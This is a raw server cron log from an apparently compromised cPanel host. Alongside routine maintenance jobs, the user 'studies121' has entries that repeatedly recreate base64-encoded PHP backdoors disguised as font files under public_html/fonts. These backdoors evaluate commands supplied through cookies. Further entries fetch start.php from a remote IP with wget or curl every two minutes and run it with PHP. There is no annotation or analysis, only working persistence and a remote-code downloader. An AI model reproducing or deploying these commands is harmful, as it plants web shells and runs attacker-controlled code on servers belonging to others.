Aug 31 08:49:01 ip-184-168-122-23 CROND[32048]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:50:02 ip-184-168-122-23 CROND[32162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:50:02 ip-184-168-122-23 CROND[32163]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:50:02 ip-184-168-122-23 CROND[32165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:50:02 ip-184-168-122-23 CROND[32169]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:50:02 ip-184-168-122-23 CROND[32166]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 08:50:02 ip-184-168-122-23 CROND[32171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:50:02 ip-184-168-122-23 CROND[32167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:50:02 ip-184-168-122-23 CROND[32170]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:50:02 ip-184-168-122-23 CROND[32172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:51:01 ip-184-168-122-23 CROND[32325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:51:01 ip-184-168-122-23 CROND[32329]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:51:01 ip-184-168-122-23 CROND[32328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:51:01 ip-184-168-122-23 CROND[32332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:52:01 ip-184-168-122-23 CROND[32445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:52:01 ip-184-168-122-23 CROND[32446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:52:01 ip-184-168-122-23 CROND[32449]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:52:01 ip-184-168-122-23 CROND[32451]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:52:01 ip-184-168-122-23 CROND[32448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:53:01 ip-184-168-122-23 CROND[32566]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:53:01 ip-184-168-122-23 CROND[32568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:53:01 ip-184-168-122-23 CROND[32567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:53:01 ip-184-168-122-23 CROND[32569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:54:01 ip-184-168-122-23 CROND[32664]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:54:01 ip-184-168-122-23 CROND[32666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:54:01 ip-184-168-122-23 CROND[32668]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:54:01 ip-184-168-122-23 CROND[32669]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:54:01 ip-184-168-122-23 CROND[32670]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:55:01 ip-184-168-122-23 CROND[382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:55:01 ip-184-168-122-23 CROND[381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:55:01 ip-184-168-122-23 CROND[386]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:55:01 ip-184-168-122-23 CROND[387]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:55:01 ip-184-168-122-23 CROND[384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:55:01 ip-184-168-122-23 CROND[388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:56:01 ip-184-168-122-23 CROND[488]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:56:01 ip-184-168-122-23 CROND[489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:56:01 ip-184-168-122-23 CROND[491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:56:01 ip-184-168-122-23 CROND[490]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:56:01 ip-184-168-122-23 CROND[492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:57:01 ip-184-168-122-23 CROND[582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:57:01 ip-184-168-122-23 CROND[583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:57:01 ip-184-168-122-23 CROND[589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:57:01 ip-184-168-122-23 CROND[590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:58:01 ip-184-168-122-23 CROND[678]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:58:01 ip-184-168-122-23 CROND[679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:58:01 ip-184-168-122-23 CROND[681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:58:01 ip-184-168-122-23 CROND[682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 08:58:01 ip-184-168-122-23 CROND[683]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 08:59:01 ip-184-168-122-23 CROND[779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:59:01 ip-184-168-122-23 CROND[782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:59:01 ip-184-168-122-23 CROND[780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 08:59:01 ip-184-168-122-23 CROND[781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:00:01 ip-184-168-122-23 CROND[920]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/disabled)
Aug 31 09:00:01 ip-184-168-122-23 CROND[921]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:00:01 ip-184-168-122-23 CROND[930]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 09:00:01 ip-184-168-122-23 CROND[928]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:00:01 ip-184-168-122-23 CROND[932]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:00:01 ip-184-168-122-23 CROND[929]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 09:00:01 ip-184-168-122-23 CROND[926]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 09:00:01 ip-184-168-122-23 CROND[933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:00:01 ip-184-168-122-23 CROND[927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:01:01 ip-184-168-122-23 CROND[1097]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1097]: starting 0anacron
Aug 31 09:01:01 ip-184-168-122-23 CROND[1102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:01:01 ip-184-168-122-23 CROND[1103]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 09:01:01 ip-184-168-122-23 CROND[1110]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 09:01:01 ip-184-168-122-23 CROND[1112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[1118]: finished 0anacron
